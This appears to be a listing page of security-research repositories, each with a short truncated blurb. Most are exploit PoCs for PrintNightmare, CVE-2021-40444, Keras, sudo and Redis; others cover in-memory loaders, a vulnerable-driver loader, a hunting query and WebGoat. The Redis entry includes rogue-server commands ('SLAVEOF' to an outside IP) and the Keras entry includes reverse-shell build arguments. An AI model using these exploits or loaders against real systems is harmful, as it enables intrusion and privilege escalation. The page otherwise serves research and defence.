InflativeLoading

InflativeLoading Article: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading Major Update History In this section, major updates are provided. Major updates do include added supports or features. 4/11/2024 Added PE Signature Obfuscation Only a few bytes in the PE...

CVE-2021-1675-PrintNightmare

CVE-2021-1675-PrintNightmare Working PowerShell POC Powershell script is copied from https://github.com/calebstewart/CVE-2021-1675 Respect for Caleb Stewart and John Hammond. I just wanted to have working poc close at hand. Ive added my custom DLL and an obfuscated version of powershell script...

CVE-2024-3660-PoC

CVE-2024-3660 – TensorFlow Keras Arbitrary Code Execution via Malicious Model Overview CVE-2024-3660 is an arbitrary code execution vulnerability in TensorFlow's Keras framework affecting versions \ --build-arg LPORT= \ -t tfimg . && \ containerid=$docker create tfimg && \ docker cp...

CVE-2021-1675_CarbonBlack_HuntingQuery

CarbonBlack Hunting Query for CVE-2021-1675 PrintNightmare 1 Based on Sigma rule on detecting the POC code filemodname:c:\windows\system32\spool\drivers\x64\3\old\1\123 2 Based on Sigma rule on detecting the POC code modloadname:c:\windows\system32\spool\drivers\x64\3 OR...

draytek-arsenal

Draytek Arsenal: Observability and hardening toolkit for Draytek edge devices. Advanced attackers are increasingly choosing edge devices as targets. However, these devices are controlled by closed-source software known as firmware, often distributed in a proprietary format. This is an added...

CVE-2020-14372

CVE-2020-14372: Bypassing not so Secure Boot with one "simple trick" Vulnerability details One day I typed "help" into GRUB2's console and saw some really "fun" commands: readbyte ADDR: Read 8-bit value from ADDR writebyte ADDR VAL: Write 8-bit value VAL to ADDR I immediately thought I found the...

CVE-2025-32463_Sudo_PoC

CVE-2025-32463SudoPoC PoC for CVE-2025-32463: Local privilege escalation in sudo via --chroot. Exploits NSS module injection through crafted chroot environments. Designed for security researchers and lab-only environments. CVE-2025-32463 - Local Privilege Escalation via sudo --chroot A Python-bas...

PythonMemoryModule

PythonMemoryModule pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory "Python memory module" AI generated pic - hotpot.ai What is it PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim...

DriverJack

DriverJack Introduction DriverJack is a tool designed to load a vulnerable driver by abusing lesser-known NTFS techniques. These method bypass the registration of a Driver Service on the system by hijacking an existing service, and also spoof the image path presented in the Driver Load event. To...

CVE-2021-40444

Fully Weaponized CVE-2021-40444 Malicious docx generator to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution, works with arbitrary DLL files. Background Although many PoC are already around the internet, I guessed to give myself a run to weaponizing this vulnerability, as what I...

CVE-2021-40444

CVE-2021-40444 PoC Malicious docx generator to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx file You need to...

Redis-RCE

Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...

SharpPN

C PrintNightmare CVE-2021-1675 You'll need a DLL to use SharpPN. So once you have that, just build and specify the dll path in the command-line arguments. Build You can build yourself with C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe -out:SharpPN.exe C:\Path\to\Program.cs or by opening the...

sitrep

SitRep Triage hôte extensible et configurable. Objectif SitRep est conçu pour fournir une alternative légère et extensible au triage d’hôtes. Les vérifications sont chargées dynamiquement à l’exécution à partir de fichiers autonomes. Cela permet aux opérateurs de modifier rapidement les...

DexLoader

⚡Dex Loader Android This project demonstrates different methods of loading and executing DEX files in Android, with a focus on dynamic loading techniques such as DexClassLoader, PathClassLoader, and in-memory execution. 📦 Project Structure Dex Loader : Loads and executes contacts.dex, which...

CVE-2021-1675-LPE-EXP

CVE-2021-1675-LPE-EXP Simple LPE Exploit of CVE-2021-1675 Usage CVE-2021-1675-LPE.exe C:\test\MyPigDLL.dll MyPigDLL.dll,is a test DLL which will create C:\test.txt if succeed Notice 1. Add EnumPrinterDriversW for get pDriverPath, so We dont need change the "hardcode Driver path" everytime 2. Dont...

DynamicDotNet

DynamicDotNet A collection of various and sundry code snippets that leverage .NET dynamic tradecraft Purpose To showcase offensive and defensive tooling and POCs that leverage .NET dynamic loading, staging, bootstrapping, types, objects, functions, etc. Contribute Source Code & Text Documents All...

CVE-2026-0897

CVE-2026-0897 — Google Keras: Denial of Service via HDF5 Shape Bomb in Weight Loading -orange?style=for-the-badge -brightgreen?style=for-the-badge Overview Field| Details ---|--- CVE ID| CVE-2026-0897 Package| keras Google Keras Registry| PyPI Affected Versions| 3.0.0 through 3.13.0 inclusive...

WebGoat.NET

From the prompt, cd into the WebGoat.NET DB directory % cd /WebGoat.NET/DB Start the mysql utility, giving the name and password, if needed of a user permission to create databases. For example, to use the default root user: % mysql --user=root Create the webgoatcoins database and load the schema...

CVE-2018-8090

CVE-2018-8090 DLL Hijacking in Quickheal Total Security/ Internet Security/ Antivirus Pro Installers Affected Products: Quick Heal Total Security - 17.00 Quick Heal Internet Security - 17.00 Quick Heal AntiVirus Pro - 17.00 Affected Installers: Quick Heal Total Security 64 bit 17.00 QHTS64.exe,...